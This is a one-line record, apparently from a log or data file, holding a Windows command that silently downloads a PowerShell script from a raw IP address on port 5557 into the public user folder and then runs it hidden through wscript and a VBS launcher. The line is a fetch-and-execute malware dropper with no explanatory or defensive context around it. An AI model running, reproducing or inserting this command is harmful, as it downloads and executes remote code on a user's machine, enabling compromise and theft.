9040|curl.exe -s -o C:\Users\Public\n602.ps1 http://159.223.110.159:5557/n602.ps1?v=1 & wscript //B //Nologo C:\Users\Public\runh.vbs C:\Users\Public\n602.ps1 & echo GC9040